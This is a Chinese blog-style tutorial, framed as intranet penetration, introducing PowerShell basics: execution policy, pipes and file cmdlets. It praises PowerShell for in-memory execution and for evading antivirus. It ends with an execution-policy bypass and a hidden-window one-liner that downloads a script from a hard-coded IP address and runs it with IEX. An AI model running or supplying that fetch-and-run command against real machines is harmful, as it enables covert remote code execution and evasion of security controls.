IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 系统运维 -> 内网渗透--powershell简介 -> 正文阅读

[系统运维]内网渗透--powershell简介

windows powershell基础

Powershell 是运行在windows机器上实现系统和应用程序管理自动化的命令行脚本环境。你可以把它看成是命令行提示符cmd.exe的扩充

powershell具有以下特点

  • 在window7以上版本的操作系统中是默认安装的
  • 脚本可以在内存中运行,不需要写入磁盘
  • 几乎不会触发杀毒软件
  • 可以远程执行
  • 目前很多工具都是基于powershell开发的
  • 使windows脚本的执行变得更容易
  • cmd.exe的运行通常会被阻止,但是powershell的运行通常不会被阻止
  • 可用于管理活动目录

可以输入“Get-Host”或者“$PSVersionTable.PSVERSION”命令查看powershell的版本,
在这里插入图片描述

PowerShell的基本概念

1. .ps1文件
一个powershell脚本其实就是一个简单的文本文件,其扩展名为“.ps1”。powershell脚本文件包含一系列powershell命令,每个命令显示为独立的一行。

2. 执行策略
为了防止使用者运行恶意脚本。powershell提供了一个执行策略。在默认情况下,这个执行策略被设置为“不能运行”。
如果powershell脚本无法运,可以使用下面的cmdlet命令查询当前的执行策略。

  • Get-ExecutionPolicy.
  • Restricted:脚本不能运行(默认设置)
  • ReomteSigned:在本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字签名的除外)
  • AllSigned:允许脚本由受信任的发布者签名时才能运行
  • Unrestricted:允许所有的脚本允许 可以使用下面的cmdlet命令设置powershell的执行策略。 Set-ExecutionPolicy

3.运行脚本
想要运行一个powershell脚本,必须输入完整的路径和文件名。运行脚本a.ps1,需要输入“C:\Scripts\a.ps1”.
4.管道
管道的作用是将一个命令的输出作为另一个命令的输入,两个命令之间用"|"连接。如:
让所有正在运行的,名字以字符“p”开头的程序停止运行

PS> get-process p* | stop-process

**## powershell的常用命令

  • 基本知识**
    powershell命令不区分大小写
    在powershell下,类似cmd命令的命令叫作cmtlet命令。二者的命名规范一致,采用“动词-名词”的形式。动词部分一般为:Add,New,Get,Remove,Set等。
    文件操作命令:
  • 新建目录:New-ltem whitecellclub-ltem Type Directory
  • 新建文件:New-ltem light.txt-ltemType File
  • 删除目录:Remove-ltem whitecellclub
  • 显示文本内容:Get-Content test.txt
  • 设置文本内容:Set-Content test.txt-Value “hello world”
  • 追加内容:Add-Content light.txt-Value “wodema”
  • 清除内容:Clear-Content text.txt
  • 常用命令
    要想运行powershell脚本程序,必须使用管理员权限将策略策略从Restricted改成Unrestricted

(1)绕过本地权限并执行
在这里插入图片描述
直接执行脚本,会提示系统中禁止执行脚本。
输入

powershell.exe -ExecutionPolicy Bypass -File .\test.ps1

可以绕过这个限制。
(2)从网站服务器中下载脚本,绕过本地权限并隐藏执行

powershell -WindowStyle Hidden -NoLogo -executionpolicy bypass
IEX(New-Object
Net.WebClient).DownloadString(‘http://123.56.82.231:8000/eryao7.ps1’);

  系统运维 最新文章
配置小型公司网络WLAN基本业务(AC通过三层
如何在交付运维过程中建立风险底线意识,提
快速传输大文件,怎么通过网络传大文件给对
从游戏服务端角度分析移动同步(状态同步)
MySQL使用MyCat实现分库分表
如何用DWDM射频光纤技术实现200公里外的站点
国内顺畅下载k8s.gcr.io的镜像
自动化测试appium
ctfshow ssrf
Linux操作系统学习之实用指令(Centos7/8均
上一篇文章      下一篇文章      查看所有文章
加:2022-03-30 19:10:50  更:2022-03-30 19:12:48 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/15 23:27:53-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码